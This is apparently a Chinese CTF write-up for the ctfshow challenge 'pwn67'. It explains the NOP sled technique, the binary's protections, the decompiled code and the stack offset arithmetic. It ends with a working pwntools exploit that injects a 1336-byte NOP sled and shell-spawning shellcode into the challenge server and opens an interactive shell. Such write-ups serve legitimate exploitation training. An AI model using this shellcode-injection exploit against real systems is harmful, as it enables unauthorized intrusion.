pwn67
目录
题目
预计时间
5h
题目分析及截图
题目标题是nop sled,我们先来说一下原理是什么
NOP sled 是通过连续的 NOP 指令(通常是 0x90)在内存中构造一个 “滑道”,使得程序能够在没有精确控制跳转地址的情况下,依然能“滑行”到我们注入的 shellcode。这是一种应对 地址随机化(如 ASLR)和 精确跳转控制 不足的攻击技术。
我们首先使用checksec ./pwn看一下它的保护机制
我们可以看到这是32位程序,开启了canary,但是NX没有开启,代表我们是可以进行shellcode注入的
我们打开ida查看程序的主函数
1 | // bad sp value at call has been detected, the output may be wrong! |
query_position函数
1 | char *query_position() |
代码的逻辑:
- 程序会先输出一些字符,还有一个地址,根据query_position函数来看这个地址
position = &v1+v2 - 程序让我们输入一串字符串(大小是4096)给到
seed变量 - 输入一串地址赋值给v5
大致思路:
在checksec ./pwn时,我们发现了有canary保护机制,如果平常的话,我们可能通过爆破canary来解这道题,但是本题需要我们去爆破canary吗??
首先,我们是通过往seed里面去写shellcode,在通过scanf函数输入v5的地址直接跳转到v5(我们的v5可以是shellcode的地址),根本不需要用到canary,因为canary是用来保护返回地址的,而这道题我们不是用覆盖返回地址来写的,自然不用去爆破canary。
再说的详细一点就是
因为程序的漏洞点不是返回地址覆盖,而是可控函数指针
v5。
我们通过 fgets 往 seed[] 里写入了 shellcode,然后使用:
1 | scanf("%p", &v5); |
直接控制程序跳转到 seed[]。
整个过程不经过函数返回,也不会触发栈保护 Canary,因此不需要泄露或爆破 Canary
现在你应该知道为什么不需要爆破canary了
现在我们要计算输入v5的地址是多少
我画了一个栈的图更方便我们去理解(上面是高地址,下面是低地址)
**v1距seed的距离:**v1的位置是
ebp-15h那么它与query_position的ebp的距离是15h输入v5的值:
因为:
1
2
3v2 = rand() % 1337 - 668;
v3 = &v1 + v2;
return &v1 + v2;所以:
- position = &v1 + v2 = &v1 + rand() % 1337 - 668 (我们假设
rand()%1337为random),所以 position = &v1 + random - 668(random ∈ [0,1336]) - 由上面可得v1=position-random+668
- 因为v1距seed的距离是0x2d,所以seed = v1 + 0x2d = position - random + 668 + 0x2d
- 因为我们输入的v5一定是在第一个nop之后,在shellcode之前的,我们可以让
v5 = position + 668 + 0x2d,我们需要保证nop的长度在shellcode之前,所以我们可以让nop的长度=1336(或者更长,但是加上shellcode,你不能超过seed的长度)
现在就知道我们每一个数值都是多少了
- nop的长度是1336
- v5=position+668+0x2d
构造exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16from pwn import *
context.arch = 'i386'
p = remote('pwn.challenge.ctf.show', 28164)
p.recvuntil("current location:")
position_addr = eval(p.recvuntil("\n",drop=True))
print(position_addr)
payload = b"\x90" * 1336 + asm(shellcraft.sh())
p.recvuntil(">")
p.sendline(payload)
#输入v5的地址
v5_addr = position_addr + 668 + 0x2d
p.recvuntil(">")
p.sendline(v5_addr)
p.interactive()- position = &v1 + v2 = &v1 + rand() % 1337 - 668 (我们假设
\x90就是nop的机器码
我遇见的一些问题(可能会把你绕晕)
在query_position函数的汇编代码中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35.text:080487D1 ; __unwind {
.text:080487D1 push ebp
.text:080487D2 mov ebp, esp
.text:080487D4 push ebx
.text:080487D5 sub esp, 14h
.text:080487D8 call __x86_get_pc_thunk_ax
.text:080487DD add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080487E2 mov ebx, large gs:14h
.text:080487E9 mov [ebp+var_C], ebx
.text:080487EC xor ebx, ebx
.text:080487EE mov ebx, eax
.text:080487F0 call _rand
.text:080487F5 mov ecx, eax
.text:080487F7 mov edx, 6208CECBh
.text:080487FC mov eax, ecx
.text:080487FE imul edx
.text:08048800 sar edx, 9
.text:08048803 mov eax, ecx
.text:08048805 sar eax, 1Fh
.text:08048808 sub edx, eax
.text:0804880A mov eax, edx
.text:0804880C imul eax, 539h
.text:08048812 sub ecx, eax
.text:08048814 mov eax, ecx
.text:08048816 sub eax, 29Ch
.text:0804881B mov [ebp+var_14], eax
.text:0804881E mov eax, [ebp+var_14]
.text:08048821 lea edx, [ebp+var_15]
.text:08048824 add eax, edx
.text:08048826 mov [ebp+var_10], eax
.text:08048829 mov eax, [ebp+var_10]
.text:0804882C mov ebx, [ebp+var_C]
.text:0804882F xor ebx, large gs:14h
.text:08048836 jz short loc_804883D
.text:08048838 call __stack_chk_fail_local
在
.text:080487D5 sub esp, 14h行,发现query_position函数栈帧给局部变量分配了14h的空间,但是v1的位置为什么是ebp-15h,那不应该分配15h的空间吗???**答:**在
sub esp, 14h这一行明确指定了栈帧的局部变量就是14h,这个是不可怀疑的。但是为什么v1在ebp-15h?v1的偏移是ebp-0x15,是因为v1只是一个 1 字节的char类型,而栈对齐要求v2(int类型)必须按照 4 字节对齐。因此,在v1后面插入了 3 字节的填充。v2紧接着v1后面,占用 4 字节,对齐到 4 字节边界。
所以,栈上的偏移量是
ebp-0x15,是由于填充字节的存在,符合 4 字节对齐规则。偏移量是相对 ebp 的,并不是要求 offset 最大值 = 局部变量区大小
希望可以帮到你,加油!